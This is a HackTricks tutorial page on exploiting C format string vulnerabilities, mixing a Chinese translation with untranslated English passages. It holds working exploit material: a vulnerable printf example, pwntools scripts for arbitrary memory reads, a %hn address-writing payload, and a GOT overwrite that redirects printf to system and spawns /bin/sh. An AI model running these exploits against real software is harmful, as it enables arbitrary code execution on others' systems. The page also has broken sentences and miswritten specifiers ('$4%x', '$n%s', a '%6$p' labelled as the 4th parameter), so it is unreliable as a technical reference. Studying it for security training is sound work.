hacktricks/binary-exploitation/format-strings/README.md

8.2 KiB
Raw Blame History

格式化字符串

从零开始学习AWS黑客技术成为专家 htARTEHackTricks AWS Red Team Expert

基本信息

在C语言中printf 是一个用于打印字符串的函数。该函数期望的第一个参数带有格式化符号的原始文本。接下来期望的参数是要从原始文本中替换格式化符号的

当将攻击者文本用作该函数的第一个参数时,漏洞就会出现。攻击者可以利用printf格式字符串的功能来构造一个特殊输入,以读取和写入任何地址的任何数据(可读/可写)。从而能够执行任意代码

格式化符号:

%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3

示例:

  • 可被攻击的示例:
char buffer[30];
gets(buffer);  // Dangerous: takes user input without restrictions.
printf(buffer);  // If buffer contains "%x", it reads from the stack.
  • 正常使用:
int value = 1205;
printf("%x %x %x", value, value, value);  // Outputs: 4b5 4b5 4b5
  • 缺少参数时:
printf("%x %x %x", value);  // Unexpected output: reads random values from the stack.

访问指针

格式%<n>$x,其中n是一个数字允许指示printf选择第n个参数来自堆栈。因此如果您想使用printf读取堆栈中的第4个参数可以执行以下操作

printf("%x %x %x %x")

并且您将从第一个到第四个参数中读取。

或者您可以执行:

printf("$4%x")

and read directly the forth.

Notice that the attacker controls the printf parameter, which basically means that his input is going to be in the stack when printf is called, which means that he could write specific memory addresses in the stack.

{% hint style="danger" %} An attacker controlling this input, will be able to add arbitrary address in the stack and make printf access them. In the next section it will be explained how to use this behaviour. {% endhint %}

Arbitrary Read

It's possible to use the formatter $n%s to make printf get the address situated in the n position, following it and print it as if it was a string (print until a 0x00 is found). So if the base address of the binary is 0x8048000, and we know that the user input starts in the 4th position in the stack, it's possible to print the starting of the binary with:

from pwn import *

p = process('./bin')

payload = b'%6$p' #4th param
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
payload += p32(0x8048000) #6th param

p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'

{% hint style="danger" %} 请注意您不能在输入的开头放置地址0x8048000因为该地址的末尾将被0x00截断。 {% endhint %}

任意写入

格式化字符串 $<num>%n 会将写入的字节数写入到堆栈中的指定地址中的<num>参数。如果攻击者可以使用printf写入尽可能多的字符他将能够使**$<num>%n** 在任意地址中写入任意数字。

幸运的是要写入数字9999不需要在输入中添加9999个"A",为了实现这一点,可以使用格式化字符串 %.<num-write>%<num>$n 将数字**<num-write>**写入到由num位置指向的地址中。

AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500

然而,请注意,通常为了写入诸如0x08049724这样的地址(一次写入一个巨大的数字),会使用$hn而不是$n。这样可以仅写入2字节。因此此操作需要执行两次一次用于地址的最高2字节另一次用于最低的字节。

因此,此漏洞允许在任何地址中写入任何内容(任意写入)。

在此示例中,目标是覆盖稍后将调用的GOT表中函数地址。尽管这可能会滥用其他任意写入执行技术:

{% content-ref url="../arbitrary-write-2-exec/" %} arbitrary-write-2-exec {% endcontent-ref %}

我们将覆盖一个用户接收其参数并将其指向system** 函数函数
如前所述,通常需要两个步骤来写入地址:首先写入地址的2字节然后再写入另外2字节。为此使用**$hn**。

  • HOB 用于地址的2个高字节
  • LOB 用于地址的2个低字节

然后,由于格式字符串的工作原理,您需要首先写入[HOBLOB]中较小的那个,然后再写入另一个。

如果 HOB < LOB
[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]

如果 HOB > LOB
[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]

HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB

{% code overflow="wrap" %}

python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'

{% endcode %}

Pwntools 模板

您可以在以下位置找到一个模板,用于准备针对这种类型漏洞的利用:

{% content-ref url="format-strings-template.md" %} format-strings-template.md {% endcontent-ref %}

或者可以参考这个基本示例这里:

from pwn import *

elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000       # ASLR disabled

p = process()

payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)

p.clean()

p.sendline('/bin/sh')

p.interactive()

格式字符串到缓冲区溢出

可以滥用格式字符串漏洞的写入操作来写入栈上的地址,并利用缓冲区溢出类型的漏洞。

其他示例和参考资料